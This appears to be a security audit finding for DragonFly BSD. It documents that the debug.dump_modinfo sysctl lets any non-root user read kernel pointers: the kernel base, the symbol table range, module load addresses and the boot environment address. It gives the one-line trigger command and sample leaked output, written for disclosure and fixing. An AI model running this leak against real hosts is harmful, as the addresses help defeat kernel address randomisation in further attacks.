# DF-2927 — `debug.dump_modinfo` sysctl discloses kernel pointers to any local user

## What

`sys/kern/subr_module.c:447-450` registers `debug.dump_modinfo`
(`CTLTYPE_STRING | CTLFLAG_RD`). DragonFly's sysctl read path applies **no
privilege check to reads** (`sys/kern/kern_sysctl.c:1436-1448` gates only
writes via `SYSCAP_NOSYSCTL_WR`; `CTLFLAG_SECURE` also only suppresses
*writes* at securelevel>0). The handler dumps the entire bootloader metadata
TLV list, including:

- every TLV's own kernel virtual address — `sbuf_printf(sbp, " %p:\n", bptr)`
  (`sys/kern/subr_module.c:411`)
- kernel base (`MODINFO_ADDR`), kernel size, and the load address of every
  loader-preloaded module (`ehci.ko`, `xhci.ko` on the test guest)
- `MODINFOMD_SSYM`/`ESYM` — exact kernel symbol-table range
- `MODINFOMD_DYNAMIC` — `_DYNAMIC` address
- `MODINFOMD_ENVP` — address of the static boot environment block
  (DF-2894 context: this is the array `kern_envp` walks)
- `MODINFOMD_KERNEND`

## Build

Nothing to compile — the "PoC" is a stock userland binary:

```sh
./build.sh          # no-op; explains the trigger
```

## Run

```sh
./run.sh            # ssh to the guest, runs the sysctl as uid 1001
```

or directly on any DragonFly host: `sysctl -n debug.dump_modinfo` as any
non-root user.

## Expected output (observed on the audit guest, uid=1001)

```
 0xffffffff81de4000:
	type:	(0x01) MODINFO_NAME
	len:	20
	value:	/boot/kernel/kernel
 ...
	type:	(0x03) MODINFO_ADDR
	len:	8
	value:	0xffffffff80200000            <-- kernel base
 ...
	type:	(0x8003) MODINFO_METADATA | MODINFOMD_SSYM
	value:	0xffffffff81b25e40            <-- symtab start
	type:	(0x8004) MODINFO_METADATA | MODINFOMD_ESYM
	value:	0xffffffff81cd8538            <-- symtab end
	type:	(0x8006) MODINFO_METADATA | MODINFOMD_ENVP
	value:	0x0000000001de3000            <-- kern_envp block
```

Success criterion: a non-root uid receives the dump (exit 0, pointer values
present). Failure after fix: `sysctl: unknown oid 'debug.dump_modinfo'` is
fine too — no; expected post-fix behavior is `Operation not permitted` for
non-root, success for root.

The output is deterministic across reads (identical MD5 over 3 runs —
`run.log`).
